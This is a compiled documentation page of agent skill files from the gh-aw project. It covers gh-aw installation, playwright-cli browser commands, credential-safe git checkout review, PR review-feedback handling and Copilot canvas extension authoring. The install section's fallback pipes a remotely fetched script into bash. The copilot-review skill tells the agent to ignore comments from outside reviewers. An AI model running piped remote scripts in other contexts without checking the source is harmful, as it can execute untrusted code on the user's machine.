  - `.gitignore` — https://raw.githubusercontent.com/github/gh-aw/main/.gitignore
  - `.golangci.yml` — https://raw.githubusercontent.com/github/gh-aw/main/.golangci.yml
  - `.grant.yaml` — https://raw.githubusercontent.com/github/gh-aw/main/.grant.yaml
  - `.grype.yaml` — https://raw.githubusercontent.com/github/gh-aw/main/.grype.yaml
  - `.nvmrc` — https://raw.githubusercontent.com/github/gh-aw/main/.nvmrc
  - `.poutine.yml` — https://raw.githubusercontent.com/github/gh-aw/main/.poutine.yml
  - `.prettierignore` — https://raw.githubusercontent.com/github/gh-aw/main/.prettierignore
  - `.prettierrc.json` — https://raw.githubusercontent.com/github/gh-aw/main/.prettierrc.json
  - `{outname}.f` — https://raw.githubusercontent.com/github/gh-aw/main/%7Boutname%7D.f
  - `AGENTS.md` — https://raw.githubusercontent.com/github/gh-aw/main/AGENTS.md
  - `CHANGELOG.md` — https://raw.githubusercontent.com/github/gh-aw/main/CHANGELOG.md
  - `CODE_OF_CONDUCT.md` — https://raw.githubusercontent.com/github/gh-aw/main/CODE_OF_CONDUCT.md
  - `CODEOWNERS` — https://raw.githubusercontent.com/github/gh-aw/main/CODEOWNERS
  - `CONTRIBUTING.md` — https://raw.githubusercontent.com/github/gh-aw/main/CONTRIBUTING.md
  - `create.md` — https://raw.githubusercontent.com/github/gh-aw/main/create.md
  - `DEADCODE.md` — https://raw.githubusercontent.com/github/gh-aw/main/DEADCODE.md
  - `debug.md` — https://raw.githubusercontent.com/github/gh-aw/main/debug.md
  - `DEVGUIDE.md` — https://raw.githubusercontent.com/github/gh-aw/main/DEVGUIDE.md
  - `DICTATION.md` — https://raw.githubusercontent.com/github/gh-aw/main/DICTATION.md
  - `Dockerfile` — https://raw.githubusercontent.com/github/gh-aw/main/Dockerfile
  - `gh-aw-wasm` — https://raw.githubusercontent.com/github/gh-aw/main/gh-aw-wasm
  - `go.mod` — https://raw.githubusercontent.com/github/gh-aw/main/go.mod
  - …and 15 more, listed in https://skillsdocs.com/api/v1/books/github/gh-aw/skills/gh-aw

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: GitHub Agentic Workflows
description: GitHub Agentic Workflows (`gh-aw`) is a GitHub CLI extension for writing Agentic Workflows in markdown and compiling them to GitHub Actions.
---
## Install
```bash
gh extension install github/gh-aw
```
If failed,
```
curl -sL https://raw.githubusercontent.com/github/gh-aw/main/install-gh-aw.sh | bash
```
## Load
Load https://github.com/github/gh-aw/blob/main/.github/skills/agentic-workflows/SKILL.md to learn how to create/update/debug/optimize Agentic Workflows.

<!-- chapter:end slug=gh-aw -->

---

## Part: Credited skills

---

<!-- chapter:begin slug=playwright-cli position=28 -->

## 28. playwright-cli

- **Source:** https://github.com/github/gh-aw/blob/main/.claude/skills/playwright-cli/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/playwright-cli.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (10), referenced from this skill's directory:
  - `references/element-attributes.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/element-attributes.md
  - `references/playwright-tests.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/playwright-tests.md
  - `references/request-mocking.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/request-mocking.md
  - `references/running-code.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/running-code.md
  - `references/session-management.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/session-management.md
  - `references/spec-driven-testing.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/spec-driven-testing.md
  - `references/storage-state.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/storage-state.md
  - `references/test-generation.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/test-generation.md
  - `references/tracing.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/tracing.md
  - `references/video-recording.md` — https://raw.githubusercontent.com/github/gh-aw/main/.claude/skills/playwright-cli/references/video-recording.md

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: playwright-cli
description: Automate browser interactions, test web pages and work with Playwright tests.
allowed-tools: Bash(playwright-cli:*) Bash(npx:*) Bash(npm:*)
---

# Browser Automation with playwright-cli

## Quick start

```bash
# open new browser
playwright-cli open
# navigate to a page
playwright-cli goto https://playwright.dev
# interact with the page using refs from the snapshot
playwright-cli click e15
playwright-cli type "page.click"
playwright-cli press Enter
# take a screenshot (rarely used, as snapshot is more common)
playwright-cli screenshot
# close the browser
playwright-cli close
```

## Commands

### Core

```bash
playwright-cli open
# open and navigate right away
playwright-cli open https://example.com/
playwright-cli goto https://playwright.dev
playwright-cli type "search query"
playwright-cli click e3
playwright-cli dblclick e7
# --submit presses Enter after filling the element
playwright-cli fill e5 "user@example.com"  --submit
playwright-cli drag e2 e8
# drop files or data onto an element (from outside the page)
playwright-cli drop e4 --path=./image.png
playwright-cli drop e4 --data="text/plain=hello world"
playwright-cli hover e4
playwright-cli select e9 "option-value"
playwright-cli upload ./document.pdf
playwright-cli check e12
playwright-cli uncheck e12
playwright-cli snapshot
playwright-cli eval "document.title"
playwright-cli eval "el => el.textContent" e5
# get element id, class, or any attribute not visible in the snapshot
playwright-cli eval "el => el.id" e5
playwright-cli eval "el => el.getAttribute('data-testid')" e5
playwright-cli dialog-accept
playwright-cli dialog-accept "confirmation text"
playwright-cli dialog-dismiss
playwright-cli resize 1920 1080
playwright-cli close
```

### Navigation

```bash
playwright-cli go-back
playwright-cli go-forward
playwright-cli reload
```

### Keyboard

```bash
playwright-cli press Enter
playwright-cli press ArrowDown
playwright-cli keydown Shift
playwright-cli keyup Shift
```

### Mouse

```bash
playwright-cli mousemove 150 300
playwright-cli mousedown
playwright-cli mousedown right
playwright-cli mouseup
playwright-cli mouseup right
playwright-cli mousewheel 0 100
```

### Save as

```bash
playwright-cli screenshot
playwright-cli screenshot e5
playwright-cli screenshot --filename=page.png
playwright-cli pdf --filename=page.pdf
```

### Tabs

```bash
playwright-cli tab-list
playwright-cli tab-new
playwright-cli tab-new https://example.com/page
playwright-cli tab-close
playwright-cli tab-close 2
playwright-cli tab-select 0
```

### Storage

```bash
playwright-cli state-save
playwright-cli state-save auth.json
playwright-cli state-load auth.json

# Cookies
playwright-cli cookie-list
playwright-cli cookie-list --domain=example.com
playwright-cli cookie-get session_id
playwright-cli cookie-set session_id abc123
playwright-cli cookie-set session_id abc123 --domain=example.com --httpOnly --secure
playwright-cli cookie-delete session_id
playwright-cli cookie-clear

# LocalStorage
playwright-cli localstorage-list
playwright-cli localstorage-get theme
playwright-cli localstorage-set theme dark
playwright-cli localstorage-delete theme
playwright-cli localstorage-clear

# SessionStorage
playwright-cli sessionstorage-list
playwright-cli sessionstorage-get step
playwright-cli sessionstorage-set step 3
playwright-cli sessionstorage-delete step
playwright-cli sessionstorage-clear
```

### Network

```bash
playwright-cli route "**/*.jpg" --status=404
playwright-cli route "https://api.example.com/**" --body='{"mock": true}'
playwright-cli route-list
playwright-cli unroute "**/*.jpg"
playwright-cli unroute
```

### DevTools

```bash
playwright-cli console
playwright-cli console warning
playwright-cli requests
playwright-cli request 5
playwright-cli run-code "async page => await page.context().grantPermissions(['geolocation'])"
playwright-cli run-code --filename=script.js
playwright-cli tracing-start
playwright-cli tracing-stop
playwright-cli video-start video.webm
playwright-cli video-chapter "Chapter Title" --description="Details" --duration=2000
playwright-cli video-stop

# launch the dashboard for UI review / design feedback — user annotates the page, you receive the annotated screenshot, snapshot, and notes
playwright-cli show --annotate

# generate a Playwright locator for an element from its ref or selector
playwright-cli generate-locator e5 --raw

# show a persistent highlight overlay for an element, optionally with a custom style
playwright-cli highlight e5
playwright-cli highlight e5 --style="outline: 3px dashed red"
# hide a single element highlight, or all page highlights when no target is given
playwright-cli highlight e5 --hide
playwright-cli highlight --hide
```

## Raw output

The global `--raw` option strips page status, generated code, and snapshot sections from the output, returning only the result value. Use it to pipe command output into other tools. Commands that don't produce output return nothing.

```bash
playwright-cli --raw eval "JSON.stringify(performance.timing)" | jq '.loadEventEnd - .navigationStart'
playwright-cli --raw eval "JSON.stringify([...document.querySelectorAll('a')].map(a => a.href))" > links.json
playwright-cli --raw snapshot > before.yml
playwright-cli click e5
playwright-cli --raw snapshot > after.yml
diff before.yml after.yml
TOKEN=$(playwright-cli --raw cookie-get session_id)
playwright-cli --raw localstorage-get theme
```

For structured output wrapping every reply as JSON, pass --json
```bash
playwright-cli list --json
```

## Open parameters
```bash
# Use specific browser when creating session
playwright-cli open --browser=chrome
playwright-cli open --browser=firefox
playwright-cli open --browser=webkit
playwright-cli open --browser=msedge

# Use persistent profile (by default profile is in-memory)
playwright-cli open --persistent
# Use persistent profile with custom directory
playwright-cli open --profile=/path/to/profile

# Connect to browser via Playwright Extension
playwright-cli attach --extension=chrome

# Connect to a running Chrome or Edge by channel name
playwright-cli attach --cdp=chrome
playwright-cli attach --cdp=msedge

# Connect to a running browser via CDP endpoint
playwright-cli attach --cdp=http://localhost:9222

# Start with config file
playwright-cli open --config=my-config.json

# Close the browser
playwright-cli close
# Detach from an attached browser (leaves the external browser running)
playwright-cli -s=msedge detach
# Delete user data for the default session
playwright-cli delete-data
```

## Snapshots

After each command, playwright-cli provides a snapshot of the current browser state.

```bash
> playwright-cli goto https://example.com
### Page
- Page URL: https://example.com/
- Page Title: Example Domain
### Snapshot
[Snapshot](.playwright-cli/page-2026-02-14T19-22-42-679Z.yml)
```

You can also take a snapshot on demand using `playwright-cli snapshot` command. All the options below can be combined as needed.

```bash
# default - save to a file with timestamp-based name
playwright-cli snapshot

# save to file, use when snapshot is a part of the workflow result
playwright-cli snapshot --filename=after-click.yaml

# snapshot an element instead of the whole page
playwright-cli snapshot "#main"

# limit snapshot depth for efficiency, take a partial snapshot afterwards
playwright-cli snapshot --depth=4
playwright-cli snapshot e34

# include each element's bounding box as [box=x,y,width,height]
playwright-cli snapshot --boxes
```

## Targeting elements

By default, use refs from the snapshot to interact with page elements.

```bash
# get snapshot with refs
playwright-cli snapshot

# interact using a ref
playwright-cli click e15
```

You can also use css selectors or Playwright locators.

```bash
# css selector
playwright-cli click "#main > button.submit"

# role locator
playwright-cli click "getByRole('button', { name: 'Submit' })"

# test id
playwright-cli click "getByTestId('submit-button')"
```

## Browser Sessions

```bash
# create new browser session named "mysession" with persistent profile
playwright-cli -s=mysession open example.com --persistent
# same with manually specified profile directory (use when requested explicitly)
playwright-cli -s=mysession open example.com --profile=/path/to/profile
playwright-cli -s=mysession click e6
playwright-cli -s=mysession close  # stop a named browser
playwright-cli -s=mysession delete-data  # delete user data for persistent session

playwright-cli list
# Close all browsers
playwright-cli close-all
# Forcefully kill all browser processes
playwright-cli kill-all
```

## Installation

If global `playwright-cli` command is not available, try a local version via `npx playwright-cli`:

```bash
npx --no-install playwright-cli --version
```

When local version is available, use `npx playwright-cli` in all commands. Otherwise, install `playwright-cli` as a global command:

```bash
npm install -g @playwright/cli@latest
```

## Example: Form submission

```bash
playwright-cli open https://example.com/form
playwright-cli snapshot

playwright-cli fill e1 "user@example.com"
playwright-cli fill e2 "password123"
playwright-cli click e3
playwright-cli snapshot
playwright-cli close
```

## Example: Multi-tab workflow

```bash
playwright-cli open https://example.com
playwright-cli tab-new https://example.com/other
playwright-cli tab-list
playwright-cli tab-select 0
playwright-cli snapshot
playwright-cli close
```

## Example: Debugging with DevTools

```bash
playwright-cli open https://example.com
playwright-cli click e4
playwright-cli fill e7 "test"
playwright-cli console
playwright-cli requests
playwright-cli close
```

```bash
playwright-cli open https://example.com
playwright-cli tracing-start
playwright-cli click e4
playwright-cli fill e7 "test"
playwright-cli tracing-stop
playwright-cli close
```

## Example: Interactive session

Ask the user for UI review or design feedback. The user draws boxes on the live page and types comments; you receive the annotated screenshot, the snapshot of the marked region, and the user's notes. Use this whenever the user asks for "UI review", "design feedback", or to "ask the user what they think / want / mean":

```bash
playwright-cli open https://example.com
playwright-cli show --annotate
```

## Specific tasks

* **Running and Debugging Playwright tests** [references/playwright-tests.md](references/playwright-tests.md)
* **Request mocking** [references/request-mocking.md](references/request-mocking.md)
* **Running Playwright code** [references/running-code.md](references/running-code.md)
* **Browser session management** [references/session-management.md](references/session-management.md)
* **Spec-driven testing (plan / generate / heal)** [references/spec-driven-testing.md](references/spec-driven-testing.md)
* **Storage state (cookies, localStorage)** [references/storage-state.md](references/storage-state.md)
* **Test generation** [references/test-generation.md](references/test-generation.md)
* **Tracing** [references/tracing.md](references/tracing.md)
* **Video recording** [references/video-recording.md](references/video-recording.md)
* **Inspecting element attributes** [references/element-attributes.md](references/element-attributes.md)

<!-- chapter:end slug=playwright-cli -->

---

<!-- chapter:begin slug=checkout-credential-review position=29 -->

## 29. checkout-credential-review

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/checkout-credential-review/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/checkout-credential-review/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/checkout-credential-review.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: checkout-credential-review
description: Review code that performs git or gh operations against repository checkouts in gh-aw, checking that the right credentials are available at the right time and that sparseness, shallowness and credential-free factors are properly considered.
---

# Checkout Credential Review

Use this skill when reviewing or writing code in `pkg/workflow/`, `actions/setup/js/`, or compiled `.lock.yml` workflows that runs `git`, `gh`, or any other remote-touching operation against a repository checkout.

## Background

Each entry in a workflow's `checkout:` block may declare its own credentials (`github-token:`, `github-app:`), and the compiler wires those into the corresponding `actions/checkout` step ([pkg/workflow/checkout_step_generator.go](../../../pkg/workflow/checkout_step_generator.go)). Generated checkouts always set `persist-credentials: false`, so the on-disk repo retains **no** credentials after the step finishes — only `actions/checkout`'s own internal token is used during the clone, and it is scrubbed in its post-step.

A separate step that wants to authenticate later must either (a) re-inject a token at command level (e.g. `git -c http.extraheader=...`) or (b) be passed the per-checkout token via env. The compiler does *not* automatically thread per-checkout `github-token`s into downstream steps.

Two important contexts deliberately run with **no git credentials**:

- The **safe-outputs MCP server** and its handlers (`generate_git_bundle.cjs`, `generate_git_patch.cjs`, `create_pull_request.cjs`). Errors in these paths explicitly say "the safe-outputs MCP server has no credentials for private repositories" — fetch/push will fail for private repos.
- The **agent runtime** after `actions/checkout`. The agent prompt in [actions/setup/md/safe_outputs_push_to_pr_branch.md](../../../actions/setup/md/safe_outputs_push_to_pr_branch.md) explicitly tells the model not to attempt `git fetch`, `git pull`, `git push`, or any other authenticated git operation, and to report unavailable branches rather than try to fetch them.

## Review checklist

When you see a new `git`, `gh`, `execFileSync('git'…)`, or compiled `run:` block:

1. **Does it touch a remote?** Local-only commands (`symbolic-ref`, `rev-parse`, `log`, `show`, `merge-base`, `diff`, `status`) need no credentials. Anything in `fetch | pull | push | clone | ls-remote | remote (set-url|add|update)` does, plus on-demand blob fetches in partial clones.
2. **Which checkout is it operating on?** If it's a cross-repo entry from `checkout:`, the relevant credential is *that entry's* `github-token`, not the workflow's default `GITHUB_TOKEN`. Confirm the per-entry token is actually threaded into the step's env (or refuse to do remote operations and degrade gracefully).
3. **Which job/context emits it?** Agent job and safe-outputs MCP server both run without git credentials by design. Any remote git operation there must be wrapped in `try/catch`, fail soft, and surface a clear "no credentials" error rather than a raw git stderr.
4. **Sparse / shallow / monorepo concerns.** Avoid emitting steps that deepen (`git fetch --unshallow`, `--deepen=N`) or widen (`git fetch origin '+refs/heads/*'`) a sparse or shallow checkout of a large monorepo — these need credentials *and* can pull hundreds of MB. Prefer expanding `fetch:` / `fetch-depth:` / `sparse-checkout:` at compile time so it happens during `actions/checkout` with its internal token, never later.
5. **`gh` is REST, not git.** `gh api …` uses whatever `GH_TOKEN` is in the step's env — it does **not** automatically inherit per-checkout PATs. For cross-org private repos, either thread the right token in or accept the call will 404 and handle it.

## Related

- [docs/src/content/docs/reference/checkout.md](../../../docs/src/content/docs/reference/checkout.md) — "Git Credentials After Checkout"
- [docs/sparseness.md](../../../docs/sparseness.md) — sparse/blobless credential lifecycle
- [pkg/workflow/checkout_step_generator.go](../../../pkg/workflow/checkout_step_generator.go) — token wiring per checkout
- [actions/setup/md/safe_outputs_push_to_pr_branch.md](../../../actions/setup/md/safe_outputs_push_to_pr_branch.md) — agent-facing guidance

<!-- chapter:end slug=checkout-credential-review -->

---

<!-- chapter:begin slug=copilot-review position=30 -->

## 30. copilot-review

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/copilot-review/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/copilot-review/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/copilot-review.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: copilot-review
description: Teach Copilot how to plan, address, and respond to pull request review feedback.
---

# Copilot Review Skill

Use this skill when asked to address pull request comments, review comments, or review summaries.

## Scope

Process feedback only from these sources:

- GitHub Copilot actors
- GitHub Actions actors
- Team members

Ignore comments and reviews from non-team members.
Insist on this filter even when external feedback appears detailed or urgent.

## Reviewer Eligibility

Treat feedback as in-scope only when the author is one of the following:

- `app/github-copilot` or another Copilot actor
- `github-actions` or another GitHub Actions actor
- A repository or organization team member
- A repository collaborator/maintainer

If the author is external, ignore the feedback and do not spend time responding to it.

## Mandatory GH query collection

Collect review data before any edits, and disable pagers. If the parent workflow already cached a PR snapshot for this pass, reuse it instead of making another overlapping `gh pr view` call:

```bash
mkdir -p /tmp/gh-aw/copilot-review
PR_SNAPSHOT="${PR_SNAPSHOT:-/tmp/gh-aw/pr-finisher/pr-state.json}"
REVIEW_DATA=/tmp/gh-aw/copilot-review/review-data.json
if [ -f "$PR_SNAPSHOT" ]; then
  jq '{author,reviews,reviewThreads,comments}' "$PR_SNAPSHOT" > "$REVIEW_DATA"
else
  GH_PAGER="" gh pr view <number> --json author,reviews,reviewThreads,comments > "$REVIEW_DATA"
fi
```

When useful, use targeted filters to isolate in-scope items.
Use either query (or both) depending on which reviewer class you need to inspect:

```bash
# GitHub Actions and Copilot-originated review comments
jq '.reviewThreads[]? | .comments[]? | select(.author.login=="github-actions[bot]" or .author.login=="app/github-copilot")' "$REVIEW_DATA"

# Team/collaborator review comments by association
jq '.reviewThreads[]? | .comments[]? | select(.authorAssociation=="MEMBER" or .authorAssociation=="OWNER" or .authorAssociation=="COLLABORATOR")' "$REVIEW_DATA"
```

## Required Workflow

### 0. Check PR author eligibility

Inspect the pull request author before processing feedback:

- Ignore platform-managed dependency PRs from `dependabot[bot]`, `app/dependabot`, or `renovate[bot]` unless the user explicitly asks to handle them.
- More generally, ignore PRs authored by unrecognized bots (an author whose type is `Bot` or whose login ends with `[bot]`) unless the user explicitly includes that bot.
- Continue to handle PRs from trusted GitHub automation such as `app/github-copilot` and `github-actions[bot]`.

This author check is separate from reviewer eligibility: trusted review comments do not make an otherwise ignored bot-authored PR eligible.
For an ignored bot-authored PR, report that platform automation manages it and stop without collecting feedback, modifying files, or replying to comments.

### 1. Collect all feedback first

Before making changes, gather all pull request discussion in one pass:

- pull request review summaries
- pull request review comments / review threads
- pull request conversation comments

Do not respond comment-by-comment before understanding the full set of requests.

### 2. Filter to allowed reviewers

Remove feedback from people who are not team members or trusted automation.

Keep only comments and reviews from the allowed reviewer set above.
Treat `CONTRIBUTOR`, `FIRST_TIME_CONTRIBUTOR`, `FIRST_TIMER`, and `NONE` as out-of-scope unless the author is trusted automation.

### 3. Bucket the feedback

Group the remaining feedback into clear buckets such as:

- bugs / correctness
- tests
- documentation
- style / clarity
- CI / workflow issues
- duplicate or overlapping requests
- will not fix / needs justification

Create a short plan that covers every bucket before editing code.

### 4. Resolve each bucket

For every bucket, decide whether to:

- make the requested change
- partially apply it
- decline it with a clear justification

Do not silently ignore in-scope feedback.

### 5. Validate before replying

After making changes, re-check the diff and run the relevant validation so replies describe the final state accurately.

### 6. Reply to every in-scope review comment

Every in-scope review comment must get a direct reply that says what happened.
This includes all in-scope `github-actions[bot]` review comments and threads.

Each reply should briefly state one of:

- what change was made
- where the fix was applied
- why no change was made
- why the comment is already satisfied by another change

If several comments are handled by the same fix, still reply to each comment individually.

### 7. Resolve threads after answering

If a review thread has been fully addressed and the tooling supports it:

- reply with the action taken
- resolve the thread

Do not resolve a thread without answering it first.

## Response Rules

- Answer every in-scope review comment.
- Review summaries from in-scope reviewers must also be addressed in the work plan.
- Keep replies concise, specific, and action-oriented.
- Mention file names or behavior changes when helpful.
- When declining a request, explain why it is being ignored.
- When a comment is outdated, reply that it is obsolete because of the newer change and resolve if appropriate.

## Planning Standard

Before editing, produce a compact internal checklist that maps:

- each in-scope comment or review
- its bucket
- planned action
- final reply status

Only start implementation after the full feedback set has been reviewed and bucketed.

## Completion Standard

For eligible PRs, the task is complete only when all of the following are true:

- all in-scope comments and reviews were collected
- the PR author passed the bot eligibility check
- non-team-member feedback was ignored
- each in-scope item was resolved by code changes or explicit justification
- every in-scope review comment received a reply describing the action taken
- addressed threads were resolved when possible

<!-- chapter:end slug=copilot-review -->

---

<!-- chapter:begin slug=create-canvas position=31 -->

## 31. create-canvas

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/create-canvas/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/create-canvas/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/create-canvas.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: create-canvas
description: Author, validate, and debug canvas extensions that the agent can open in the GitHub Copilot app's side panel. Use when creating, reviewing, or troubleshooting a canvas extension — including its actions, inputs, rendered content, and the surrounding extension wiring (tools, hooks, lifecycle).
---

# Extension Canvas Authoring

Use this skill when creating or debugging an extension canvas that integrates with the runtime canvas model.

The host app no longer participates in extension canvas registration. Extensions declare canvases directly to the runtime via the Copilot SDK on `joinSession`; the runtime routes provider callbacks (`canvas.open`, `canvas.action.invoke`, etc.) straight to the declaring connection; the host app just renders whatever URL the provider returns.

## Authoring workflow (do this in order)

1. **Decide the scope.** Project (`.github/extensions/<name>/`) is committed to the repo and shared with the team. User (`$COPILOT_HOME/extensions/<name>/`) is local to the current user. Session (`$COPILOT_HOME/session-state/<sessionId>/extensions/<name>/`) is loaded only for the current session — ideal for a throwaway canvas for one conversation. Unless the request makes it obvious, ask before creating files — the choice changes who sees the extension, whether it's committed, and the resulting `extensionId`.

2. **Scaffold via tool, don't hand-write the skeleton.**
   ```
   extensions_manage({ operation: "scaffold", kind: "canvas", name: "<name>", location: "project" | "user" | "session" })
   ```
   The canvas scaffold produces an `extension.mjs` with `joinSession({ canvases: [createCanvas({...})] })`, a working loopback HTTP server per instance, an example action, and `onClose` cleanup. Edit from there.

3. **Edit the file.** Implement your `open`, `actions[]`, optional `onClose`, and (if needed) tools/hooks alongside.

4. **Reload.** Call `extensions_reload`. Stale canvas instances flip to `stale`, then back to `ready` once the provider reconnects.

5. **Verify.** Call `extensions_manage({ operation: "list" })` and `extensions_manage({ operation: "inspect", name: "<name>" })`. If the extension is marked failed, `inspect` surfaces the log file path and a tail — that log is the primary debugging surface.

6. **Drive it.** Run the validation checklist below via `list_canvas_capabilities`, `open_canvas`, and `invoke_canvas_action`.

## Extension shape

A canvas extension is a Copilot CLI extension running as a forked Node process that speaks JSON-RPC over stdio to the CLI.

- Entry file **must** be named `extension.mjs` (ES modules only; TypeScript is not supported).
- Discovery scans only immediate subdirectories of `.github/extensions/` (relative to git root), `$COPILOT_HOME/extensions/`, and `$COPILOT_HOME/session-state/<sessionId>/extensions/`.
- The runtime auto-derives a stable `extensionId` of `${source}:${name}` (e.g. `project:my-extension`); session-scoped extensions embed the session id as `session:<sessionId>:<name>`.
- `@github/copilot-sdk` is resolved automatically by the CLI — do **not** add a `package.json` or `node_modules` for it.
- `stdout` is reserved for JSON-RPC. **Never `console.log`.** Use `session.log(message, { level, ephemeral })`.
- Tool names must be globally unique across all loaded extensions — collisions cause the second extension to fail.

## `joinSession` signature

```js
import { joinSession, createCanvas, CanvasError } from "@github/copilot-sdk/extension";

const session = await joinSession({
    canvases: [createCanvas({ /* ... */ })],
    tools: [/* optional */],
    hooks: {/* optional */},
    onPermissionRequest: async (request) => ({ kind: "approve-once" }), // optional
});
// session.sessionId, session.workspacePath (string | undefined),
// session.send, session.sendAndWait, session.log, session.on, session.rpc
```

## Canvas API (`canvas.d.ts`)

```js
import { createCanvas, CanvasError, joinSession } from "@github/copilot-sdk/extension";

const canvas = createCanvas({
    id: "main",                  // unique within this extension
    displayName: "My canvas",    // human-readable label shown in host chrome
    description: "Short summary the agent sees in the system-prompt canvas catalog.",
    inputSchema: { /* JSON Schema for open input (optional) */ },
    actions: [
        {
            name: "do_thing",        // unique within this canvas; MUST NOT start with `canvas.`
            description: "...",
            inputSchema: { /* JSON Schema (optional) */ },
            handler: async (ctx) => {
                // ctx: { sessionId, extensionId, canvasId, instanceId, actionName, input, host }
                // Return raw result; throw CanvasError("code", "message") for errors.
                return { /* ... */ };
            },
        },
    ],
    open: async (ctx) => {
        // ctx: { sessionId, extensionId, canvasId, instanceId, input, host }
        // Idempotent: same instanceId may arrive again after provider reconnect.
        return {
            url: "http://127.0.0.1:<loopback-port>/", // optional for native canvases
            title: "...",   // optional, shown in host chrome
            status: "...",  // optional, shown in host chrome
        };
    },
    onClose: async (ctx) => {
        // Optional. Fire-and-forget; return value ignored.
    },
});
```

Runtime rules:
- Action names starting with `canvas.` are reserved and rejected at declaration time.
- Every `actions[]` entry must have a `handler`; missing handlers fall through to `CanvasError.noHandler()`.
- Canvas-level `inputSchema` is validated before `open`; action-level `inputSchema` is validated before dispatch. Failure returns `canvas_input_invalid` with Ajv details.
- Return raw values from action handlers; throw `CanvasError("code", "message")` for errors.
- `ctx.canvasId` (not `ctx.id`) is the canvas identifier in handler context.

## Loopback server pattern

```js
import { createServer } from "node:http";
import { createCanvas, joinSession } from "@github/copilot-sdk/extension";

const servers = new Map(); // instanceId → { server, url }

async function startServer(instanceId) {
    const server = createServer((req, res) => {
        res.setHeader("Content-Type", "text/html; charset=utf-8");
        res.end(renderHtml(instanceId));
    });
    await new Promise((r) => server.listen(0, "127.0.0.1", r));
    const port = server.address().port;
    return { server, url: `http://127.0.0.1:${port}/` };
}

await joinSession({
    canvases: [
        createCanvas({
            id: "my-canvas",
            displayName: "My canvas",
            description: "...",
            open: async (ctx) => {
                let entry = servers.get(ctx.instanceId);
                if (!entry) {
                    entry = await startServer(ctx.instanceId);
                    servers.set(ctx.instanceId, entry);
                }
                return { title: "My canvas", url: entry.url };
            },
            onClose: async (ctx) => {
                const entry = servers.get(ctx.instanceId);
                if (entry) {
                    servers.delete(ctx.instanceId);
                    await new Promise((r) => entry.server.close(() => r()));
                }
            },
        }),
    ],
});
```

Bind embedded servers to **loopback only** (`127.0.0.1`). The host only embeds loopback URLs. Push state updates to the iframe with Server-Sent Events (`/events`).

## ID model — three distinct identifiers

- **`canvasId`** — the canvas *type* declared by the extension. Accepted by `list_canvas_capabilities` and `open_canvas`; not by `invoke_canvas_action`.
- **`extensionId`** — auto-derived `${source}:${name}` (e.g. `project:triage-board`). Only pass it to disambiguate when two extensions declare the same `canvasId`.
- **`instanceId`** — caller-invented handle for one running panel (slug or UUID). Two panels of the same canvas need two `instanceId`s. Validated against `^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$` — max 128 chars, alphanumeric first character, then only `[A-Za-z0-9._-]`.

Example: `open_canvas({ canvasId: "triage-board", instanceId: "triage-1" })` then `invoke_canvas_action({ instanceId: "triage-1", actionName: "refresh" })`.

## Agent-side canvas tools

```
// Open a canvas panel
open_canvas({ canvasId: "my-canvas", instanceId: "my-canvas-1", input?: {...} })
// Returns { instanceId, url? } — no extensionId needed unless two providers share the canvasId.

// Discover a canvas type's actions and input schema
list_canvas_capabilities({ canvasId: "my-canvas" })

// Invoke an action on an open panel
invoke_canvas_action({ instanceId: "my-canvas-1", actionName: "do_thing", input?: {...} })
```

Re-opening the same `instanceId` focuses the existing panel (the host emits `session.canvas.opened` with `reopen: true` and reloads the iframe without invoking the provider again).

## Injecting instructions

- **`additionalContext` from hooks** (everyday path). `onSessionStart` → once-per-session guidance; `onUserPromptSubmitted` → per-turn nudges. The runtime appends it as a `developer`-role message.
- **`systemMessage` on `joinSession`** (system-prompt path):
  - `{ mode: "append", content }` — append to the SDK foundation.
  - `{ mode: "customize", sections: {...} }` — override individual sections (`identity`, `tone`, `safety`, `custom_instructions`, `runtime_instructions`, etc.) with `replace` / `remove` / `append` / `prepend` / transform-callback actions.
  - **Do NOT use** `{ mode: "replace", content }` from an extension — it discards the entire SDK-managed prompt including safety guardrails.

## State model

**`instanceId` identifies the panel, not the data.** Never key persistent state by `instanceId` alone — iframes reload, extensions restart, and a fresh `instanceId` may be opened for the same logical content.

Pick the right storage scope:
- **Per session / workspace** — write artifact files into `session.workspacePath` (returned by `joinSession`). Lives alongside session artifacts, cleaned up with the session.
- **Per user / global** — write under `$COPILOT_HOME/extensions/<extension-name>/artifacts/`. Follows the user across sessions.
- **Per artifact / document** — key under a stable `documentId` or file path passed via `input`.
